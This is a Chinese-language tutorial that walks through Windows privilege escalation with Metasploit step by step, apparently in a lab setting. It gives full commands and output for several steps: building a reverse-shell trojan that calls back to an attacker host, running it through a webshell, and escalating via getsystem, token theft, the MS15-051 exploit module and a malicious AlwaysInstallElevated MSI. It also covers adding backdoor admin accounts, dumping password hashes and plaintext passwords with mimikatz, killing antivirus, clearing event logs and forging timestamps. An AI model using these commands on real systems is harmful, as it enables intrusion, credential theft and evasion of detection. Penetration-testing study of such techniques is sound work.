前言
提权何须收集各种EXP,一个MSF就够了,本文为大家带来MSF综合提权的一些姿势。
文章内容:
学习`Meterpreter`自动提权
学习溢出漏洞模块提权
学习后续提权操作
学习`AlwaysInstallElevated`提权
part1 Meterpreter自动提权
本部分主要学习在获得目标机器的一定权限后,如何使用`Metasploit`获得的`Meterpreter`会话进行基本的提权操作。
步骤1 生成后门程序
攻击荷载的生成我们需要用到`msfVENOM`:
`metasploit-framework`旗下的`msfpayload`(荷载生成器),`msfencoder`(编码器),`msfcli`(监听接口)已然成为历史,取而代之的是**`msfvenom`**.
我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe
这里我们为生成的木马指定了`payload`为`windows/meterpreter/reverse_tcp`,反弹到的监听端地址为`172.16.11.2`,监听端口为`4444`,文件输出格式为`exe`并保存到路径`/tmp/hack.exe`
如下返回信息:
No platform was selected, choosing Msf::Module:latform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: /tmp/hack.exe
>返回信息主要说明:本次生成的攻击荷载(木马程序)针对于windows的32位类型系统,文件大小333字节(可见攻击荷载何其短小精悍),还说明了文件保存路径。
步骤2 执行监听
在Metasploit使用`use`命令载入监听模块`exploit/multi/handler`:
use exploit/multi/handler
接着使用如下命令设置payload为`windows/meterpreter/reverse_tcp`:
set payload windows/meterpreter/reverse_tcp
我们需要设置本地监听主机为本机ip`172.16.11.2`:
set LHOST 172.16.11.2
然后我们使用以下命令查看相关参数是否设置完毕:
show options
我们得到了以下主要信息,可知,监听端的主机和监听端口都已设置完毕:
Module options (exploit/multi/handler):
Payload options (windows/meterpreter/reverse_tcp):
LHOST 172.16.11.2 The listen address
LPORT 4444 The listen port
输入exploit命令开启我们配置的模块进行监听:
步骤3 上传并执行木马
通过脚本木马上传并运行,此处假设我们通过一系列的渗透测试得到了目标机器的webshell。
我们通过脚本木马的文件管理功能把我们上述生成的木马`hack.exe`上传成功,并且我们得知,该程序的绝对路径为:
c:\www\hack.exe
接着,我们尝试通过脚本木马的命令执行功能运行我们上述上传的的木马,
c:/www/hack.exe//为避免字符转义,路径这里我们使用的是'/'
那么在执行之后,我们看到大型脚本木马显示为请稍后的状态,我们切换到之前监听的Metasploit命令行窗口,可以看到,目标机正在回连,且Meterpreter会话创建成功:
如上,我们已经取得了目标机的Meterpreter会话。
步骤4 Meterpreter基础提权
>`Meterpreter` 是 Metasploit 框架中的一个杀手锏,通常作为漏洞溢出后的攻击在和使用, 攻击在和在出发漏洞后能够返回给我们一个控制通道.
接下来我们使用`Meterpreter`会话进行自动化提权操作,直接执行以下命令,MSF会自动选择合适的方式来提升当前权限:
getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
如上返回则说明`Meterpreter`会话自动提权成功。
这个时候,如果我们此目标机属于某个域环境内,并且有域管理员运行的程勋,我们就可以从一个给定的进程PID中窃取一个域管理员组令牌,做一些有意思的事(如:添加一个域账户,并把域账户添加到域管理员组中)。
在`Meterpreter`会话执行ps命令查看目标机当前进程:
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584:
然后我们可以执行以下语句窃取该用户进程的令牌:
steal_token 2584
这种方式一般被用于盗取域管理员的token,然后我们执行:`getuid`看一下会发现当前已经冒称`SYSTEM`用户成功:
既然已经是`SYSTEM`权限,接着我们尝试执行以下命令从SAM数据库中导出密码的哈希值:
`注意`:在windows 2008 中,如果`getsystem`命令和`hashdump`命令抛出异常情况时,你需要迁移到一个以`SYSTEM`系统权限运行的进程中,我们后续介绍。
执行以下shell命令在一个`Meterpreter`会话界面中使用`cmd shell`:
此`cmdshell`当然是继承的`Meterpreter`会话的`system`权限,我们尝试在目标机器执行以下cmd命令添加一个账户`test`:
net user test v5est0r /add
net localgroup administrators test /add
随后我们利用`Meterpreter`会话打开目标机器远程桌面服务的3398端口(此模块根据实践测试仅支持windows 2003的主机):
run getgui -e
Windows Remote Desktop Configuration Meterpreter Script by DarkoperatorCarlos Perezcarlos_perez@darkoperator.comEnabling Remote DesktopRDP is already enabledSetting Terminal Services service startup modeTerminal Services service is already set to autoOpening port in local firewall if necessaryFor cleanup use command: run multi_console_command -rc
返回如上信息说明远程终端服务开启成功。
最后我们新建一个终端窗口,执行以下命令调用`rdesktop`连接目标机器的远程桌面:
rdesktop -u test -p v5est0r 172.16.12.2
`-u`:制定用户名 `-p`:指定密码
如上图,我们成功登入目标机的远程桌面。
part2 溢出漏洞模块提权
一般来说webshell对应的web服务的权限是很低的,一般都是`user`权限的,但也遇到过某些服务器执行后就直接是`system`最高权限。像这种情况一般直接加用户。
如果权限较低,我们要把它提升到`system`权 - Windows最高权限,黑客一般通过提权的EXP程序进行提权,我们会在后续的实验里介绍。
当然,在MSF下调用溢出漏洞模块提权也是个好办法。
`缓冲区溢出`:
缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。更为严重的是,缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。
步骤1 调用漏洞模块
首先,请参照上述`Meterpreter自动提权`部分的实验内容获得目标机器的一个可用的`Meterpreter`会话,接着我们在`Meterpreter`会话输入以下命令:
background
//把你当前的Meterpreter会话转为后台执行。
接着我们在MSF命令行执行以下命令搜索微软2015年的可用漏洞模块:
search ms15
// 搜索关键字相关的漏洞
如下图,我们查到了许多漏洞模块:
我选择了`MS15_051`这个漏洞进行提权,执行以下命令:
use exploit/windows/local/ms15_051_client_copy_image
然后我们需要为此活动模块指定为哪个`session`进行提权操作,我们执行以下命令指定服务`session`为`1`:
set SESSION 1
// 设置会刚才我们后门连接的ID号 1,我们这里只有一个会话,直接连接1
漏洞模块利用只需要指定`session`无需其他参数。
步骤2 执行溢出
接着我们直接执行以下命令调用漏洞模块进行提权操作:
exploit
//执行提权...
根据返回信息我们可以看见没有创建新的`session`,并提醒当前已经被提升到了`system`权限。如果当前不是`system`权限,将会被提升到`system`的一个进程,并提供出进程pid.
一般来说,即使提权成功,我们执行以下命令返回连接会话,但你`getuid`看下还是看见的还是原来的权限。
sessions -i 1
执行`ps`一下查看进程
根据刚才的提示找到上述提供的PID的进程,我们这里就随意找了一个`SYSTEM`权限进行的进程,PID为`3240`
然后我们要用到`migrate`命令,将当前会话进程迁移到一个指定的进程ID。
migrate 3240
如上图可见,进程迁移成功。
然后我们再执行`getuid`看下可以看见当前为system权限了。
如上,我们已经模拟提升到了windows最高权限。
part3 后续提权操作
本部分主要介绍`Meterpreter`会话的丰富的提权模块支持的使用。
步骤1 基本信息搜集
检测目标机是否为虚拟机。
在`Meterpreter`会话执行以下命令即可:
run post/windows/gather/checkvm #是否虚拟机
此处判断并不准确,模块代码仍需完善。
通过meterpreter的killav脚本来杀死目标主机运行的杀毒软件:
在`Meterpreter`会话执行以下命令即可:
run killav
看来此模块仍需完善,此处杀掉的进程是cmd。不过有时候还是有用的。
获取安装软件信息,在`Meterpreter`会话执行以下命令即可:
run post/windows/gather/enum_applications #获取安装软件信息
获取目标机器最近的文件操作,在`Meterpreter`会话执行以下命令即可:
run post/windows/gather/dumplinks #获取最近的文件操作
步骤2 hash与明文密码读取
获取目标机系统用户Hash,,在`Meterpreter`会话执行以下命令即可:
run post/windows/gather/smart_hashdump
Running module against TESTINGHashes will be saved to the database if one is connected.Hashes will be saved in loot in JtR password file format to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txtDumping password hashes...Running as SYSTEM extracting hashes from registryObtaining the boot key...Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...Obtaining the user list and keys...Decrypting user keys...Dumping password hints...
[+] Croxy:"Whoareyou"Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+] test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
如上我们获得了本地账户的hask。
获取明文密码,我们需要先载入`mimikatz`模块,,在`Meterpreter`会话执行以下命令即可:
load mimikatz
然后需要确保当前进程为系统权限:直接执行以下命令:
msv
如上图,返回了以下信息:
[+] Running as SYSTEMRetrieving msv credentials
上述返回信息表明当前进程是`SYSTEM`权限.
然后执行以下命令即可导出系统用户明文密码:
kerberos
如下图,成功导出了明文密码,`test`用户密文为`v5est0r`:
执行以下命令通过`mimikatz`命令行方式导出系统用户hash:
meterpreter > mimikatz_command -f samdump::hashes
执行以下命令通过`mimikatz`命令行方式导出系统用户的明文密码:
mimikatz_command -f sekurlsa::searchPasswords
步骤3 清理痕迹
直接执行以下命令:
clearev
可以看到如下返回:
meterpreter > clearevWiping 2654 records from Application...
Wiping 137 records from System...
Wiping 212 records from Security...
可以看到该模块正在从应用、系统、安全模块三个方面清理历史记录痕迹。
其实MSF还提供了`timestomp`功能模块还修改文件时间,但实战测试中意义并不大,我们在这里只做科普:
meterpreter >timestomp c:\\www -c "09/09/1980 12:12:34" 修改文件创建时间
meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34" 修改文件修改时间
meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 讲文件RHDSetup.log属性复制到jzking121
实际测试使用偶尔有报错,可以登入服务器手工改文件时间。
part 4 `AlwaysInstallElevated`提权
`AlwaysInstallElevated`是微软允许非授权用户以`SYSTEM`权限运行安装文件(`MSI`)的一种设置。
步骤1 生成MSI安装文件假设我们拿到`Meterpreter`会话后并没能通过一些常规方式取得`SYSTEM`权限,`AlwaysInstallElevated`提权可能会为我们带来一点希望。
`AlwaysInstallElevated`是微软允许非授权用户以`SYSTEM`权限运行安装文件(`MSI`)的一种设置。然而,给予用于这种权利会存在一定的安全隐患,因为如果这样做下面两个注册表的值会被置为"`1`":
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
想查询这两个键值最简单的方法就是使用CMD命令,我们先在`Meterpreter`会话下执行`shell`切换到`cmdshell`:
在`cmdshell`下分别执行以下命令可以查询上述的注册表键值:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
我们这里的查询是报错的。
`注意`:如果这条命令出错类似于:The system was unable to find the specified registry key or value或者:
错误: 系统找不到指定的注册表项或值。
这可能是组策略里`AlwaysInstallElevated`没有被定义,因此不存在相关联的注册表项。
现在我们假设`AlwaysInstallElevated`已经启用了,我们可以利用`msfvenom`工具来生成一个在目标机器上增加管理员用户的`MSI`安装文件:
msfvenom -p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此处指定了添加的用户,用户名为msi,密码为:P@ssword123!
如上图返回,MSI文件已经成功生成到了`/tmp/add.msi`.
步骤2 执行MSI文件提权
接着我们把该安装文件上传到目标机的`c:\\add.msi`:
执行以下命令即可:
upload /tmp/add.msi c:\\add.msi
当我们在目标机器上成功上传了新生成的MSI文件后,我们可以使用Windows命令行`Msiexec`工具进行安装(需要先执行`shell`命令切换到`cmdshell`):
shell
msiexec /quiet /qn /i c:\add.msi
`msiexec`相关参数解释如下:
`/quiet`:安装过程中禁止向用户发送消息
`/qn`:不使用GUI
`/i`:安装程序
执行后,我们可以在目标机器上检测我们新创建的管理员用户
`cmdshell`下执行以下命令查看管理组用户列表:
net localgroup administrators
如上,我们很幸运的发现,`msi`用户名存在于管理组列表,Good job!
`注意`:使用`msvenom`创建MSI文件时使用了`always_install_elevated`模块,那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。
接着执行以下命令登录目标机器的远程桌面服务:
rdesktop -u msi -p P@ssword123! 172.16.12.2
如果目标机没有开启远程桌面服务,可以再`cmdshell`下执行以下命令以开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
思考与总结:
通过本文我们学习了借助Mtasploit的`Meterpreter`会话进行基本的自动化提权操作。此部分作为基础节点,还详细介绍了`Meterpreter`会话的获得、模块参数设置等基本操作。
我们还学习了利用`Meterpreter`会话,调用溢出漏洞模块对特定的会话进行溢出漏洞提权的的提权方式、进行提权前期的信息搜集和提权完毕后的信息采集和痕迹清理等基本操作、利用微软的`AlwaysInstallElevated`设置不当问题,生成恶意MSI文件进行提权的提权方式。
提权属于敏感操作,请在法律允许的范围内测试!